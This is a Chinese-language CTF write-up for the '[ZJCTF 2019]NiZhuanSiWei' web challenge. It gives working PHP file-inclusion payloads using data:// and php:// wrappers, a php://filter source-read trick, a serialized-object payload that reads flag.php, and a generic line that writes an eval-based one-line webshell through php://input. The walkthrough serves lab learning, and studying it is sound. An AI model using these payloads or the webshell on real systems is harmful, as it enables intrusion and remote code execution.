- 继续摸鱼
- text传参,要在文件中,内容welcome to the zjctf,试了几个php伪协议
- 发现data协议可以写入payload:
-
http://7cee05d2-80a4-486f-baae-1067318b3874.node4.buuoj.cn:81/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
- data:// 协议条件:
- allow_url_include :on
-
- allow_url_fopen:on
- 作用:自PHP>=5.2.0起,可以使用data://数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。
- 示例:
- 1.data://text/plain,
- http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>
- 2.data://text/plain;base64,
- 1.data://text/plain,
- data:// 协议条件:
- 跳转到下一个页面
- 后面也没啥有用的信息了,试试php:// 协议能读到什么
- php:// 协议示例:
- 1.php://filter/read=convert.base64-encode/resource=[文件名]读取文件源码(针对php文件需要base64编码)
- 2.php://input + [POST DATA]执行php代码
- http://127.0.0.1/include.php?file=php://input [POST DATA部分] <?php phpinfo(); ?>
- 若有写入权限,写入一句话木马
- http://127.0.0.1/include.php?file=php://input
- [POST DATA部分]
- <?php fputs(fopen('1juhua.php','w'),'<?php@eval($_GET[cmd]); ?>'); ?>
- 有个BASE64加密字符串
- 解密看看
-
<?php class Flag{ //flag.php public $file; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); echo "<br>"; return ("U R SO CLOSE !///COME ON PLZ"); } } } ?>
- 应该是flag.php的源码,结合上面的反序列化我们要序列化一下
payload: http://cb8c0c1c-fa27-4281-b66a-3305a1e60e3a.node4.buuoj.cn:81/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}&file=useless.php
- 拿到flag
[ZJCTF 2019]NiZhuanSiWei 1
最新推荐文章于 2022-09-25 09:50:06 发布